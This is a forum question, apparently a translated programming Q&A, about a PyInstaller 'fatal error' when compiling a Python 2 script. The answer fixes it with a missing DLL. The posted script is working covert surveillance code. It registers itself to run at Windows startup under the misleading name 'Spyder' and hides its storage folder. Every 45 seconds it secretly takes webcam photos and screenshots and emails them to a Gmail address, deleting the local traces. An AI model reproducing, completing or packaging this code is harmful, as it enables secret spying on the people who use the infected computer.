Получение фатальной ошибки после компиляции скрипта Python, содержащего модуль SimpleCV - PullRequest
0 голосов
/ 02 сентября 2018

Я написал программу, которая делает снимок с моей веб-камеры, а также делает снимок экрана моего экрана и отправляет их на мою электронную почту. Я использовал модуль SimpleCV, чтобы сделать снимок с веб-камеры, и модуль pyautogui, чтобы сделать скриншот моего экрана. Я скомпилировал свой скрипт с помощью pyinstaller с помощью команды pyinstaller -w -i myicon.ico web_shot.py -F Я запустил скомпилированный exe-файл на другом компьютере, но дал мне фатальная ошибка, не удалось выполнить web_shot . Позже я удалил все, что связано с pyautogui (, думая, что это то, что выдает ошибку ). Я снова скомпилировал остальную часть моего сценария и снова получил ту же ошибку. Я снова подумал, что проблема может быть в модуле SimpleCV, поэтому я удалил все, что связано с модулем SimpleCV, и снова скомпилировал оставшуюся часть скрипта, используя pyinstaller. На этот раз я не получил никакой ошибки. Работало нормально.

Я написал все свои коды в Python 2.7.15 (32-разрядная версия), потому что модуль SimpleCV не поддерживает Python 3+.

Я думаю, что pyinstaller не может распознать или скомпилировать модуль SimpleCV. Я пробовал другой скрипт компиляции, такой как py2exe, cx_Freeze, но не смог добиться успеха.

Мой сценарий:

import os
import time
import string
import random
import smtplib
import _winreg
import requests
import pyautogui
import subprocess
from email import Encoders
from SimpleCV import Camera
from email.MIMEBase import MIMEBase
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
from email.mime.application import MIMEApplication



fromadd = 'fromadd@gmail.com'
toadd = 'toadd@gmail.com'
password = 'Password'


cam = Camera()



def is_at_startup():

    areg = _winreg.ConnectRegistry(None, _winreg.HKEY_CURRENT_USER)

    try:
        akey = _winreg.OpenKey(areg, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Web_Shot.exe', 0, _winreg.KEY_WRITE)
        areg.Close()
        akey.Close()

    except WindowsError:

        key = _winreg.OpenKey(areg, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 0, _winreg.KEY_SET_VALUE)
        _winreg.SetValueEx(key, 'Spyder', 0, _winreg.REG_SZ, 'C:\Program Files (x86)\Web_Shot\Web_Shot.exe')

        areg.Close()
        key.Close()



def naming():

    global name
    global clock
    global webcam_name
    global screenshot_name

    name = ''

    for i in range(10):
        x = random.randint(0, 61)
        name += string.printable[x]

    clock = time.ctime().replace(':', '-')
    screenshot_name = clock + ' _Screenshot_ ' + name + '.jpg'
    webcam_name = clock + ' _Webcam_ ' + name + '.jpg'



def make_folder():

    if os.path.exists(os.path.join('C:' + os.sep, 'root')) and os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet')) and os.path.exists((os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))) and os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')) and os.path.exists(os.path.join(r'C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')):
        subprocess.call('attrib +s +h "C:\\root"', creationflags=0x08000000)


    if os.path.exists(os.path.join('C:' + os.sep, 'root')):
        pass


    if os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet')):
        pass


    if os.path.exists((os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))):
        pass


    if os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')):
        pass

    if os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')):
        pass


    if not os.path.exists(os.path.join('C:' + os.sep, 'root')):
        os.mkdir(os.path.join('C:' + os.sep, 'root'))
        os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet'))
        os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))
        os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam'))
        os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot'))

        subprocess.call('attrib +s +h "C:\\root"', creationflags=0x08000000)


    if not os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet')):
        os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet'))


    if not os.path.exists((os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))):
        os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))
        os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam'))
        os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot'))


    if not os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')):
        os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam'))


    if not os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')):
        os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot'))



def is_internet():

    try:
        requests.get("http://www.google.com")
        return True

    except requests.ConnectionError:
        return False



def login():

    global msg

    sessions = smtplib.SMTP('smtp.gmail.com', '587')
    sessions.ehlo()
    sessions.starttls()
    sessions.ehlo()
    sessions.login(fromadd, password)
    sessions.sendmail(fromadd, toadd, msg.as_string())
    sessions.quit()

    msg = MIMEMultipart()



def capturing():

    os.chdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet'))

    screenshot = pyautogui.screenshot()
    screenshot.save(screenshot_name)   

    web_pic = cam.getImage()
    web_pic.save(webcam_name)



def no_internet_screenshot():
    os.chdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot'))
    screenshot = pyautogui.screenshot()
    screenshot.save(screenshot_name)



def no_internet_webcam():
    os.chdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam'))
    web_pic = cam.getImage()
    web_pic.save(webcam_name)



def send_mail(fromadd, toadd):

    global msg

    msg = MIMEMultipart()
    msg['From'] = fromadd
    msg['To'] = toadd
    msg['Subject'] = '-- Screenshot & Webcam  - Internet Connection'

    screenshot_data = open(screenshot_name, 'rb').read()
    webcam_data = open(webcam_name, 'rb').read()

    send_screenshot = MIMEImage(screenshot_data, name=os.path.basename(screenshot_name))
    send_webcam_pic = MIMEImage(webcam_data, name=os.path.basename(webcam_name))

    msg.attach(send_screenshot)
    msg.attach(send_webcam_pic)

    if is_internet():
        login()

        for f in os.listdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet')):
            os.remove(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet', f))



def no_internet_sending_screenshot(fromadd, toadd):

    global msg
    msg = MIMEMultipart()
    msg['From'] = fromadd
    msg['To'] = toadd
    msg['Subject'] = '-- Screenshot  - No Internet'

    screenshot_path = []
    del_path = []
    screenshot_num = 0

    for screenshot_image in os.listdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')):
        abs_path = os.path.join('C:' + os.sep,'root' + os.sep, 'no_internet' + os.sep, 'Screenshot' + os.sep, screenshot_image)
        screenshot_path.append(abs_path)

    while len(screenshot_path) > 0:
        if os.path.getsize(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')) > 0:
            for screenshot_img in screenshot_path:
                if len(screenshot_path) > 100:
                    part = MIMEBase('application', 'octet-stream')
                    part.set_payload(open(screenshot_img, 'rb').read())
                    Encoders.encode_base64(part)
                    part.add_header('Content-Disposition', 'attachment; filename={}'.format(os.path.basename(screenshot_img)))
                    msg.attach(part)

                    del_path.append(screenshot_img)
                    screenshot_num += 1

                    if screenshot_num == 100:
                        login()

                        capturing()
                        send_mail(fromadd, toadd)

                        for dlt in del_path:
                            screenshot_path.remove(dlt)
                            os.remove(dlt)

                        del_path = []

                        screenshot_num = 0

                else:
                    for screenshot_img in screenshot_path:
                        part = MIMEBase('application', 'octet-stream')
                        part.set_payload(open(screenshot_img, 'rb').read())
                        Encoders.encode_base64(part)
                        part.add_header('Content-Disposition', 'attachment; filename={}'.format(os.path.basename(screenshot_img)))
                        msg.attach(part)

                        del_path.append(screenshot_img)
                        screenshot_num += 1

                        if screenshot_num == len(screenshot_path):
                            login()

                            capturing()
                            send_mail(fromadd, toadd)

                            for dlt in del_path:
                                screenshot_path.remove(dlt)
                                os.remove(dlt)

                            del_path = []

        else:
            break


def no_internet_sending_webcam(fromadd, toadd):

    global msg
    msg = MIMEMultipart()
    msg['From'] = fromadd
    msg['To'] = toadd
    msg['Subject'] = '-- Webcam pic  - No Internet'

    webcam_path = []
    del_path = []
    webcam_num = 0

    for webcam_image in os.listdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')):
        abs_path = os.path.join('C:' + os.sep,'root' + os.sep, 'no_internet' + os.sep, 'Webcam' + os.sep, webcam_image)
        webcam_path.append(abs_path)

    while len(webcam_path) > 0:
        if os.path.getsize(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')) > 0:
            for webcam_img in webcam_path:
                if len(webcam_path) > 100:
                    part = MIMEBase('application', 'octet-stream')
                    part.set_payload(open(webcam_img, 'rb').read())
                    Encoders.encode_base64(part)
                    part.add_header('Content-Disposition', 'attachment; filename={}'.format(os.path.basename(webcam_img)))
                    msg.attach(part)

                    del_path.append(webcam_img)
                    webcam_num += 1

                    if webcam_num == 100:
                        login()

                        capturing()
                        send_mail(fromadd, toadd)

                        for dlt in del_path:
                            webcam_path.remove(dlt)
                            os.remove(dlt)

                        del_path = []

                        webcam_num = 0

                else:
                    for webcam_img in webcam_path:
                        part = MIMEBase('application', 'octet-stream')
                        part.set_payload(open(webcam_img, 'rb').read())
                        Encoders.encode_base64(part)
                        part.add_header('Content-Disposition', 'attachment; filename={}'.format(os.path.basename(webcam_img)))
                        msg.attach(part)

                        del_path.append(webcam_img)
                        webcam_num += 1

                        if webcam_num == len(webcam_path):
                            login()

                            capturing()
                            send_mail(fromadd, toadd)

                            for dlt in del_path:
                                webcam_path.remove(dlt)
                                os.remove(dlt)

                            del_path = []

        else:
            break


def main():

    is_at_startup()
    make_folder()

    while True:

        naming()

        if is_internet():

            no_internet_sending_screenshot(fromadd, toadd)
            no_internet_sending_webcam(fromadd, toadd)

            capturing()
            send_mail(fromadd, toadd)

            time.sleep(45)


        else:

            no_internet_screenshot()
            no_internet_webcam()

            time.sleep(45)

if __name__ == '__main__':
    main()

Как мне скомпилировать этот скрипт без получения фатальной ошибки?

1 Ответ

0 голосов
/ 12 февраля 2019

Неустранимая ошибка вызвана отсутствием opencv_ffmpeg341.dll в вашем каталоге, где у вас есть файл .exe .

Решите это, скопировав opencv_ffmpeg341.dll из C: \ "путь установки вашего питона" \ Lib \ site-packages \ cv2 в тот же путь, где находится ваш исполняемый файл (.exe) is.

...